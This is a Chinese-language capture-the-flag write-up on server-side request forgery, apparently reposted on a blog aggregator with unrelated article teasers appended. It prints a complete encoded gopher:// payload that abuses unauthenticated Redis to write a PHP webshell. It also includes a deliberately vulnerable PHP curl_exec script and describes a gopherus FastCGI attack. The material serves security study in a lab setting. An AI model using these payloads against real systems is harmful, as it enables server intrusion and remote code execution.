SSRF漏洞实现

目录

ssrf简介SSRF(Server-Side Request Forgery:服务器端请求伪造)

SSRF题1

前期介绍

方法1:ssrf+redis写入webshell

扫ip:端口

使用工具写木马

SSRF题2

ssrf+fastcgi未授权访问写入webshell

环境搭建:

攻击:


ssrf简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

SSRF题1

前期介绍

redis的未授权访问

在以前90%的人不会设置redis的密码保护模式,那么就可以做一下事情:

1、写入webshell(前提:知道物理路径)

2、写任务计划,反弹shell

3、写入公钥,直接登录服务器(危害最大)

方法1:ssrf+redis写入webshell

先将web-ssrfme使用docker起起来,访问8091端口

很明显有curl_exec()函数,是ssrf,但可以看到他将'file','dict','127.0.0.1','localhost'都过滤掉了,他的想法是阻止我们访问内网的端口和内网的文件数据,

curl_exec()函数:官方文档介绍

我们可以看到这个只要有info参数就可以看phpinfo信息,先看一下,能不能有我们想要的信息

可以看到这块的本地ip地址暴露出来,那么就绕过了127.0.0.1和localhost了,我们用http协议先试下能不能探测出端口,因为探测端口我们在前端看不出什么信息,那使用bp快速爆破下,查看报文的长度看能否爆出一些信息

扫ip:端口

bp:可以看到只有80端口有回应,这对我们的作用并不大

接着想,在真实项目中,不太可能只有一台主机,在一个内网中是有很多主机,并且地址也是同网段或者连续的,既然这个主机没有我们找到漏洞,那我们扫一下有没有别的主机就行

除了172.18.0.3还有一台0.2的主机,那么接下来看看0.2有哪些端口会让我们利用到

ok,172.18.0.2的redis的6379端口是开放的,这就很重要了,这块就是ssrf和redis的漏洞结合去利用实现了

使用工具写木马

那么接下来就传webshell就可以了,在172.21.0.2的物理路径下传webshell,那么他的物理路径是啥,说实话,不知道,只能猜或者测试
一般情况下,都是放在/var/www/html下面,但不保证他会不会改,一般都是怕麻烦不会改的
接下来就可以用gopher工具了:

这个gopher工具可以再github上自行下载使用

链接地址:gopher工具

选择默认的路径“/var/www/html”,输入PHP Shell ,随便输个一句话木马<?php phpinfo();查看一下能否执行,能植入成功那么就代表能够入侵——入侵成功

我们可以先看一下他写入的内容是什么

发现是写入一个shell.php文件

回车之后发现浏览器执行的很快,几乎是没反应,大概率是失败,想了一下可能是因为get传参,url自动解码后再执行curl_exec时还需要在解码一次,所以我们编码后再试一次
那么我们在页面中按回车运行试试


但是结果不尽人意,页面没有如何变化,或许shell.php根本没有写入,也许是我们猜错了目录或者没有权限(权限太低了),不管怎样,都是没有成功
我们可以自己建一个字典或者用百度的字典来扫秒一下有没有upload或者uploads之类的目录

然后我们再改一下路径(这块猜直接用upload目录),继续:

二次编码后再试一下

payload

?url=gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

在访问upload/shell.php

ok,成功执行,接下来只需要修改一句话木马里的内容即可

这是题,所以我们的目标是拿falg,只修修改命令即可

flag拿到!!

SSRF题2

ssrf+fastcgi未授权访问写入webshell

环境搭建:

自行在ubuntu上搭建

环境条件:nginx+php7.3+ php7.3-fpm版本的成功复现

在nginx的网站目录下创建demo.php

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);echo $responseText;
curl_close($curl);
?>

攻击:

先传参看看

看代码和题1还是差不多的
但是测试他fastcgi的9000端口的时候检测不出来,扫描端口时没有任何反应,(因为9000端口是监听在127.0.0.1上的,扫不到是必然的)

但是通过看http的response返回值可以看到中间件是nginx,那么大概率就是9000端口,知道是fpm,因为fpm基本上90%都监听在9000端口上(因为nginx基本都是搭配fpm)
http的返回值

既然知道了ssrf,还知道了他用的fastcgi,那么我们先直接使用gopherus工具打一下

我们可以看下他这个payload干了什么,

可以看到他先将 KPHP_VALUEallow_url_include = On ,从而使我们可以使用php://input

伪协议读取我们的数据流然后进行执行命令

当然在这块我们还是要进行二次编码的

但是我在这遇到了问题,就是一直没有回显,刚开始我以为是目录或者文件权限的原因,但是将权限修改为www-data后,还是没有回显,在这现在卡住了,再是没有解决

下面以其他人成功的结果为例展示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/409708.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UE5学习笔记18-使用FABRIK确定骨骼的左手位置

一、在武器的骨骼资产中创建一个新的插槽 二、在动画类中添加代码 xxx.h UPROPERTY(BlueprintReadOnly, Category Character, meta (AllowPrivateAccess "true"))/** 蓝图只读 类型是Character 允许私有访问 */ FTransform LeftHandTransform;//拿武器时知道左手…

【数模资料包】最新数模国赛word+latex模版|数模常用的算法python+matlab代码

【2024最全国赛研赛数模资料包】C君珍贵国一数模资料&#xff5c;最新数模国赛wordlatex模版&#xff5c;数模常用的算法pythonmatlab代码 国赛指&#xff1a;高教社杯全国大学生数学建模竞赛&#xff0c;研赛指&#xff1a;华为杯研究生数学建模竞赛。资料内容具体看文末卡片…

Java:BigDecimal 解决小数运算失真问题

文章目录 BigDecimal代码 BigDecimal 解决小数运算失真问题 解决方法&#xff1a;转换为BigDecimal对象 代码 package com.zhang.math;import java.math.BigDecimal;/*** Author: ggdpzhk* CreateTime: 2024-08-25*/ public class BigDecimalTest {public static void main(…

C++初学者指南-5.标准库(第二部分)–特殊容器

C初学者指南-5.标准库(第二部分)–特殊容器 pair<A , B> 包含两个相同或不同类型的值 tuple<A , B> C11 包含许多相同或不同类型的值 optional C17 包含一个类型为 T 的值或没有值 variant<A,B,C,…> C17 包含一个类型为A、B或C的值…… any C17 包含任…

redis--主从复制,哨兵模式,Redis Cluster模式

源码安装 [rootredis-node1 ~]# tar zxf redis-7.4.0.tar.gz [rootredis-node1 ~]# ls redis-7.4.0 redis-7.4.0.tar.gz#安装编译工具 [rootredis-node1 redis-7.4.0]# dnf install make gcc initscripts-10.11.6- 1.el9.x86_64 -y#执行编译命令 [rootredis-node1 redis-7.4.0…

【计算机网络】名词解释--网络专有名词详解

在网络通信中&#xff0c;有许多专业术语和概念&#xff0c;它们共同构成了网络通信的基础。以下是一些常见的网络术语及其定义和相互之间的关系&#xff1a; 一、网络基础 1.1 电路交换&#xff1a;电路交换是一种在数据传输前建立专用通信路径的通信方式。在通信开始前&…

如何使用ssm实现品牌手机销售信息系统

TOC ssm246品牌手机销售信息系统jsp 第一章 绪 论 1.1背景及意义 系统管理也都将通过计算机进行整体智能化操作&#xff0c;对于品牌手机销售信息系统所牵扯的管理及数据保存都是非常多的&#xff0c;例如管理员&#xff1b;主页、个人中心、用户管理、商品分类管理、商品信…

Linux数据相关第1个服务_备份服务rsync

1、备份服务概述 备份服务&#xff1a;需要使用到脚本&#xff0c;打包备份&#xff0c;定时任务 备份服务&#xff1a;rsyncd 服务&#xff0c;不同主机之间数据传输 特点: rsync是个服务也是命令使用方便&#xff0c;具有多种模式传输数据的时候是增量传输 增量与全量&am…

跟着B站前端面试总结回顾前端基础知识(一)

组件划分标准 组件划分_哔哩哔哩_bilibili 在前端Vue开发中&#xff0c;组件的划分是构建高效、可维护应用的关键步骤。Vue组件的划分标准通常基于多个方面的考虑&#xff0c;包括但不限于功能独立性、复用性、可维护性和可扩展性。以下是一些Vue组件划分的标准&#xff1a; …

使用CORS解决跨域问题

CORS&#xff08;Cross-Origin Resource Sharing&#xff09;跨域资源共享 因为浏览器的同源策略才出现了跨域问题。 CORS是一套机制&#xff0c;用于浏览器校验跨域请求。 它的基本理念是&#xff1a; 只要服务器明确表示允许&#xff0c;则校验通过服务器明确拒绝或没有表…

二分查找【算法 09】

二分查找算法详解 二分查找&#xff08;Binary Search&#xff09;是一种高效的查找算法&#xff0c;前提是数据必须是有序的。相比于线性查找&#xff0c;二分查找的时间复杂度从 O(n) 降低到了 O(log n)&#xff0c;适合处理大规模的数据查找问题。本文将详细介绍二分查找的原…

浅谈二分算法

浅谈二分算法 二分 首先知道一下二分是什么。 二分&#xff0c;是一种快速处理大型数据的方法。基本逻辑是折半查找。 设有一个共有 n n n 个数字的数组&#xff0c;要从中查询某个元素&#xff0c;就可以用二分查找。 注&#xff1a;这里的数组默认其成员数值具有单调性…

【STM32】串口(异步通信部分)

经典的串口接口硬件说实话在现在的电脑上已经很难见到了&#xff0c;而是被USB这种通用的串行接口替代了&#xff0c;哪怕外部设备要以串口连接到电脑&#xff0c;都需要进行各种硬件转换。但不得不说&#xff0c;在工业领域&#xff0c;串口还是一个非常常用的数据传输方式。 …

vue3 语法糖<script setup>

在 Vue 3 中&#xff0c;<script setup>是一种新的语法糖&#xff0c;它极大地简化了组件的编写方式。 <script setup> 是在单文件组件 (SFC) 中使用组合式 API 的编译时语法糖。当同时使用 SFC 与组合式 API 时该语法是默认推荐。 基本概念 简洁的语法&#xf…

国产GD32单片机开发入门(二)GD32单片机详解

文章目录 一.概要二.单片机型号命名规则三.GD32F103系统架构四.GD32F103C8T6单片机启动流程五.GD32F103C8T6单片机主要外设资源六.单片机开发过程中查看芯片数据手册的必要性1.单片机外设资源情况2.GD32单片机内部框图3.GD32单片机管脚图4.GD32单片机每个管脚功能5.单片机功耗数…

解决前端访问IIS服务器发生跨域请求报错的方法

现在WEB开发都是前后端分离的模式了&#xff0c;当前端代码访问后端WEB服务器时&#xff0c;经常会发生跨域请求报错的问题。   如果是IIS服务器&#xff0c;可以通过下面的方式轻松解决。   由于出现跨域问题是因为服务器返回的页面在返回头中没有设置“Access-Control-Al…

SQL Server数据库 创建表,和表的增删改查

打开SQL Server工具,连接服务器 右击数据库&#xff0c;创建新的数据库 新建表 填写列&#xff0c;我添加了Id,Name,Sex,Age,和class列 右键表刷新一下就有了 我又同时创建了一个Class表 点击新建查询&#xff0c;现在写代码添加数据&#xff0c;也可以操作表来对数据进行添加 …

[CLIP-VIT-L + Qwen] 多模态大模型源码阅读 - DataSet篇

[CLIP-VIT-L Qwen] 多模态大模型源码阅读 - DataSet篇 前情提要源码解读完整代码逐行解读导包readjson函数data_collate函数ImageCaptionDataset类&#xff08;init函数&#xff09;ImageCaptionDataset类&#xff08;readImage函数&#xff09; 参考repo:WatchTower-Liu/VLM-…

趋动科技 OrionX on VMware 打造 AI 就绪平台

着科技进步和产业变革的加速演进&#xff0c;人工智能&#xff08;AI&#xff09;已经成为兵家必争之地。今年以来伴随着ChatGPT带来的鲶鱼效应&#xff0c;人工智能成为科技产业创新的焦点&#xff0c;其应用范围越来越广泛&#xff0c;并将持续发展。科技产业龙头正加大在人工…

Redis入门指南

Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的高性能键值对存储系统&#xff0c;它支持多种数据结构&#xff0c;如字符串、哈希、列表、集合、有序集合等。Redis因其快速的读写能力、丰富的数据类型和灵活的操作而广泛应用于缓存、消息队列、实时分析等…